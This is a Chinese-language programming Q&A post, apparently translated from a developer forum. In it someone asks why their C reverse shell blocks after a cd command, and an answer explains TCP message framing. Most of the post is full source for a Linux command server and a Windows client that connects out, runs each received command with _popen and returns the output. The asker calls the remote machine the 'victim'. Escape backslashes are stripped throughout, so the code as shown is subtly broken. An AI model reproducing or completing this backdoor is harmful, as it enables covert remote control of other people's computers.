c-从tcp反向shell服务器接收到无效响应



我将用c编程语言制作小型tcp反向shell。服务器提供了一个命令行,用于将命令发送到客户端。

E.X: ./Server 192.168.1.100 2321
Waiting for new connection...  
New connection was accepted from (192.168.1.8, 51958)  
[+] Shell@[192.168.1.8]~$: dir  
Volume in drive C has no label.  
Volume Serial Number is 9C07-7137
Directory of C:UsersTestDesktopProject4Project4
04/20/2020  08:17 PM    <DIR>          .  
04/20/2020  08:17 PM    <DIR>          ..  
04/18/2020  06:27 PM    <DIR>          Debug  
04/18/2020  06:25 PM             5,761 Project4.vcxproj  
04/18/2020  06:25 PM               956 Project4.vcxproj.filters  
04/20/2020  08:17 PM             3,698 Source.c  
3 File(s)         10,415 bytes  
3 Dir(s)  61,965,709,312 bytes free  
[+] Shell@[192.168.1.8]~$:

我想定义更改服务器受害者目录之间路径的能力,我使用了_chdir((函数。像cd下载

该功能运行良好,但在接收模式下发送服务器响应时会被阻止,直到受害者与服务器的连接断开。

服务器:(在linux上编码ubuntu/使用gcc编译/在linux上运行(

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
// Global variables
int Main_socket, Cli_socket;
struct sockaddr_in ServAddr, CliAddr;
void Socket_creation();
void Socket_bind(char [], int);
void Socket_listen();
void Socket_accept();
void Shell();
int main(int argc, char * argv[])
{
if (argc < 3)
{
printf("Usage:nt./Server.out [IP-address] [Port-number]n");
printf("Example:nt./Server.out 192.168.1.100 2321n");
exit(0);
}
system("clear");
Socket_creation();
Socket_bind(argv[1], atoi(argv[2]));
Socket_listen();
Socket_accept();
return 0;
}
void Socket_creation()
{
int True = 1;
if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == -1)
{
fprintf(stderr, "Socket creation was failed! (CODE: %d)nt%snn", errno, strerror(errno));
exit(0);
}
if (setsockopt(Main_socket, SOL_SOCKET, SO_REUSEADDR, &True, sizeof(int)) == -1)
{
fprintf(stderr, "Setting TCP socket options failed! (CODE: %d)nt%snn", errno, strerror(errno));
exit(0);
}
}
void Socket_bind(char IP_address[], int Port_number)
{
// Configuration
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(IP_address);
ServAddr.sin_port = htons(Port_number);
if (bind(Main_socket, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) == -1)
{
fprintf(stderr, "Socket bind failed! (CODE: %d)nt%snn", errno, strerror(errno));
exit(0);
}
}
void Socket_listen()
{
if (listen(Main_socket, 5) == -1)
{
fprintf(stderr, "Socket listen failed! (CODE: %d)nt%snn", errno, strerror(errno));
exit(0);
}
}
void Socket_accept()
{
memset(&CliAddr, 0, sizeof(CliAddr));
socklen_t CliAddrSize = sizeof(CliAddr);
printf("Waiting for new connection...n");
if ((Cli_socket = accept(Main_socket, (struct sockaddr *) &CliAddr, &CliAddrSize)) == -1)
{
fprintf(stderr, "Could not accept any connection (CODE: %d)nt%snn", errno, strerror(errno));
exit(0);
}
else
{
printf("New connection was accepted from (%s, %d)nn", inet_ntoa(CliAddr.sin_addr), ntohs(CliAddr.sin_port));
Shell();
}
}
void Shell()
{
char Buffer[1024], Response[18384];
while (1)
{
memset(&Buffer, 0, sizeof(Buffer));
memset(&Response, 0, sizeof(Response));
printf("[+] Shell@[%s]~$: ", inet_ntoa(CliAddr.sin_addr));
fgets(Buffer, sizeof(Buffer) - 1, stdin);
strtok(Buffer, "n");
//write(Cli_socket, Buffer, sizeof(Buffer));
send(Cli_socket, &Buffer, strlen(Buffer), 0);
if (strncmp("quit", Buffer, 4) == 0)
break;
else
{
recv(Cli_socket, Response, sizeof(Response), MSG_WAITALL);
printf("%sn", Response);
}
}
}

客户端:(在windows 10上编码/使用Visual studio 17编译器编译/在windows上运行(

#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <conio.h>
#include <errno.h>
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WS2tcpip.h>
// In tutorial
#include <direct.h>
#include <limits.h>
#include <Windows.h>
#include <WinUser.h>
#include <WinInet.h>
#include <windowsx.h>
#include <sys/stat.h>
#include <WinSock2.h>
#pragma comment(lib, "ws2_32.lib");
#define TRUE 1
char * Str_cutter(char [], int, int);
int main()
{
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)
{
fprintf(stderr, "Could not initialize winsock (CODE: %d)n", WSAGetLastError());
exit(0);
}
else
printf("Winsock initialied.n");
SOCKET Main_socket;
if ((Main_socket = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET)
{
fprintf(stderr, "Socket creation failed! (CODE: %d)n", WSAGetLastError());
WSACleanup();
exit(0);
}
else
printf("Socket created.n");
struct sockaddr_in CliAddr;
memset(&CliAddr, 0, sizeof(CliAddr));
CliAddr.sin_family = AF_INET;
CliAddr.sin_addr.s_addr = inet_addr("192.168.1.11");
CliAddr.sin_port = htons(2321);
if (connect(Main_socket, (struct sockaddr_in *) &CliAddr, sizeof(CliAddr)) != 0)
{
fprintf(stderr, "Could not connect to the server! (CODE: %d)n", WSAGetLastError());
closesocket(Main_socket);
WSACleanup();
exit(0);
}
else
printf("Connectedn");
//====================================================================
char Buffer[1024], Container[1024], Total_resp[18384], Path[_MAX_PATH];
int s;
while (TRUE)
{
memset(&Buffer, 0, sizeof(Buffer));
memset(&Container, 0, sizeof(Container));
memset(&Total_resp, 0, sizeof(Total_resp));
s = recv(Main_socket, Buffer, 1024, 0);
printf("%sn", Buffer);
if (strncmp("quit", Buffer, 4) == 0)
{
closesocket(Main_socket);
WSACleanup();
exit(0);
}
else if (strncmp("cd ", Buffer, 3) == 0)
{
if (_chdir(Str_cutter(Buffer, 3, _MAX_DIR)))
{
switch (errno)
{
case ENOENT:
printf("Unable to locate directory: %sn", Buffer);
break;
case EINVAL:
printf("Invalid buffer.n");
break;
default:
printf("%sn", strerror(errno));
}
}
else
{
_getcwd(Path, sizeof(Path));
printf("%sn", Path);
if (send(Main_socket, Path, sizeof(Path), 0) == -1)
{
printf("%sn", strerror(errno));
}
else
{
printf("DONEn");
}
}
}
else
{
FILE *fp;
// Creates a pip and executes a command (_popen)
fp = _popen(Buffer, "r");
while (fgets(Container, 1024, fp) != NULL)
{
strcat(Total_resp, Container);
}
send(Main_socket, Total_resp, sizeof(Total_resp), 0);
fclose(fp);
}
}
_getch();
return 0;
}
/*
cd downloads
Str_cutter(str, 3, 100)
3: cd + space
100: directory name
*/
char * Str_cutter(char str[], int slice_from, int slice_to)
{
if (str[0] == '')
return NULL;
char * buffer;
size_t str_len, Buffer_len;
if (slice_to < 0 && slice_from > slice_to)
{
str_len = strlen(str);
if (abs(slice_to) > str_len - 1)
return NULL;
if (abs(slice_from) > str_len)
slice_from = (-1) * str_len;
Buffer_len = slice_to - slice_from;
str += (str_len + slice_from);
}
else if (slice_from >= 0 && slice_to > slice_from)
{
str_len = strlen(str);
if (slice_from > str_len - 1)
return NULL;
Buffer_len = slice_to - slice_from;
str += slice_from;
}
else
return NULL;
buffer = calloc(Buffer_len, sizeof(char));
strncpy(buffer, str, Buffer_len);
return buffer;
}

您忘记了实现一个协议。通过切断线路上的n,客户端没有办法知道它是否已经接收到整个线路。并且您的客户端中没有用于接收行的代码。

如果需要使用TCP发送和接收消息,则必须指定并实现消息协议。TCP不是一个消息协议,它是一个流协议。然后,您必须实现发送和接收消息的功能。

将消息指定为"不包括换行符终止的换行符的一系列字节"是完全可以的。但是,您必须发送换行符,并且您的接收代码必须一直调用recv,直到它接收到换行符。

否则,输入可能是"cd foo",您发送"cd foo",并且对recv的第一个调用得到"cd f"。你不会再打recv,所以你不会得到"oo",直到为时已晚。

最新更新